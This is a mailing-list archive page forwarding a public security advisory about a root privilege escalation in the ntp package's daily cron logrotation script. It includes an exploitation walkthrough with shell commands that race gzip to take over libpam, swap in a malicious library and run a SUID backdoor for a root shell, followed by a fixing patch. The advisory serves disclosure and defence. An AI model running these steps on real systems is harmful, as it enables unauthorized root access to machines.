[ntp:security] Fwd: [oss-security] ntp.org stats data logrotation script privilege escalation

Brad Knowles brad at shub-internet.org
Thu Jan 21 19:49:27 UTC 2016



> Begin forwarded message:
> 
> From: halfdog <me at halfdog.net>
> Subject: [oss-security] ntp.org stats data logrotation script privilege escalation
> Date: January 21, 2016 at 1:04:22 PM CST
> To: oss-security at lists.openwall.com
> Reply-To: oss-security at lists.openwall.com
> 
> Signed PGP part
> As disclosure was already requested, here ist the public writeup:
> 
> Introduction:
> =============
> 
> The cronjob script bundled with ntp package is intended to perform
> cleanup on statistics files produced by NTP daemon running with
> statistics enabled. The script is run as root during the daily cronjobs
> all operations on the ntp-user controlled statistics directory without
> switching to user ntp. Thus all steps are performed with root
> permissions in place.
> 
> Due to multiple bugs in the script, a malicious ntp user can make the
> backup process to overwrite arbitrary files with content controlled by
> the attacker, thus gaining root privileges. The problematic parts in
> /etc/cron.daily/ntp are:
> 
> find "$statsdir" -type f -mtime +7 -exec rm {} \;
> 
> # compress whatever is left to save space
> cd "$statsdir"
> ls *stats.???????? > /dev/null 2>&1
> if [ $? -eq 0 ]; then
> # Note that gzip won't compress the file names that
> # are hard links to the live/current files, so this
> # compresses yesterday and previous, leaving the live
> # log alone. We supress the warnings gzip issues
> # about not compressing the linked file.
> gzip --best --quiet *stats.????????
> 
> Relevant targets are:
> 
> * find and rm invocation is racy, symlinks on rm
> * rm can be invoked with one attacker controlled option
> * ls can be invoked with arbitrary number of attacker controlled command
> line options
> * gzip can be invoked with arbitrary number of attacker controlled options
> 
> 
> Exploitation:
> =============
> 
> A sucessful attack should not be mitigated by symlink security
> restrictions. Thus the general POSIX/Linux design weakness of missing
> flags/syscalls for safe opening of path without the setfsuid workaround
> has to be targeted. See FilesystemRecursionAndSymlinks on that.
> Demonstration:
> 
> First step is to pass the ls check in the script to trigger gzip, which
> is more suitable to perform file system changes than ls for executing
> arbitrary code. As this requires passing command line options to gzip
> which are not valid for ls, content of statsdir has to be modified
> exactly in between. This can be easily accomplished by preparing
> suitable entries in /var/lib/ntp and starting one instance of
> DirModifyInotify.c as user ntp:
> 
> cd /var/lib/ntp
> mkdir astats.01234567 bstats.01234567
> # Copy away library, we will have to restore it afterwards. Without
> # that, login is disabled on console, via SSH, ...
> cp -a -- /lib/x86_64-linux-gnu/libpam.so.0.83.1 .
> gzip < /lib/x86_64-linux-gnu/libpam.so.0.83.1 >
> astats.01234567/libpam.so.0.83.1stats.01234567
> ./DirModifyInotify --Watch bstats.01234567 --WatchCount 5 --MovePath
> bstats.01234567 --MoveTarget -drfSstats.01234567 &
> 
> With just that in place, DirModifyInotify will react to the actions of
> ls, move the directory and thus trigger recursive decompression in gzip
> instead of plain compression. While gzip is running, the directory
> astats.01234567 has to replaced also to make it overwrite arbitrary
> files as user root. As gzip will attempt to restore uid/gid of
> compressed file to new uncompressed version, this will just change the
> ownership of PAM library to ntp user.
> 
> ./DirModifyInotify --Watch astats.01234567 --WatchCount 12 --MovePath
> astats.01234567 --MoveTarget disabled --LinkTarget /lib/x86_64-linux-gnu/
> 
> After the daily cron jobs were run once, libpam.so.0.83.1 can be
> temporarily replaced, e.g. to create a SUID binary for escalation.
> 
> gcc -Wall -fPIC -c LibPam.c
> ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so
> cat libPam.so > /lib/x86_64-linux-gnu/libpam.so.0.83.1
> gcc -o Backdoor SuidExec.c
> /bin/su
> # Back to normal
> ./Backdoor /bin/sh -c 'cp --preserve=mode,timestamps -- libpam.so.0.83.1
> /lib/x86_64-linux-gnu/libpam.so.0.83.1; chown root.root
> /lib/x86_64-linux-gnu/libpam.so.0.83.1; exec /bin/sh'
> 
> 
> Mitigation:
> ===========
> 
> Following simple patch should fix all the issues.
> 
> --- /etc/cron.daily/ntp 2011-12-15 10:43:19.000000000 +0000
> +++ /etc/cron.daily/ntp 2015-12-16 09:28:32.057936904 +0000
> @@ -9,19 +9,23 @@
> statsdir=$(cat /etc/ntp.conf | grep -v '^#' | sed -n 's/statsdir \([^
> ][^ ]*\)/\1/p')
> 
> if [ -n "$statsdir" ] && [ -d "$statsdir" ]; then
> - # only keep a week's depth of these
> - find "$statsdir" -type f -mtime +7 -exec rm {} \;
> + # only keep a week's depth of these. Delete only files exactly
> + # within the directory and do not descend into subdirectories
> + # to avoid security risks on platforms where find is not using
> + # fts-library.
> + find "$statsdir" -maxdepth 1 -type f -mtime +7 -delete
> 
> - # compress whatever is left to save space
> - cd "$statsdir"
> - ls *stats.???????? > /dev/null 2>&1
> + # compress whatever is left to save space but make sure to really
> + # do it only in the expected directory.
> + cd "$statsdir" || exit 1
> + ls -d -- *stats.???????? > /dev/null 2>&1
> if [ $? -eq 0 ]; then
> # Note that gzip won't compress the file names that
> # are hard links to the live/current files, so this
> # compresses yesterday and previous, leaving the live
> # log alone. We supress the warnings gzip issues
> # about not compressing the linked file.
> - gzip --best --quiet *stats.????????
> + gzip --best --quiet -- *stats.????????
> return=$?
> case $return in
> 2)
> 
> To protect against unidentified or future issues, the script should
> not be run with UID=0 at all. One variant for such a patch can be
> found at [0].
> 
> 
> Results, Discussion:
> ====================
> 
> The impact should be minor as
> 
> * statsdir has to be enabled root-owned ntp configuration, which is not
> the default at least on Ubuntu Wily
> 
> * NTP daemon has small attack surface, thus hard to gain access to ntp
> user for remote attacker
> 
> * No SUID binaries to ease local users gaining ntp user rights
> 
> 
> Timeline:
> =========
> 
> * 20151215: Discovery
> * 20151220: Report at Ubuntu Launchpad
> * 20151222: Checked also ntp.org Debian package, reported upstream
> * 20160121: Publication
> 
> 
> Material, References:
> =====================
> 
> * [0] Article on the issue, references to all test tools mentioned in this
> post:
> http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/
> * [1] Launchpad bug report:
> https://bugs.launchpad.net/ubuntu/+source/ntp/+bug/1528050
> 
> --
> http://www.halfdog.net/
> PGP: 156A AE98 B91F 0114 FE88 2BD8 C459 9386 feed a bee
> 

--
Brad Knowles <brad at shub-internet.org>
LinkedIn Profile: <http://tinyurl.com/y8kpxu>

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 832 bytes
Desc: Message signed with OpenPGP using GPGMail
URL: <http://lists.ntp.org/private/security/attachments/20160121/f5fde199/attachment.sig>


More information about the security mailing list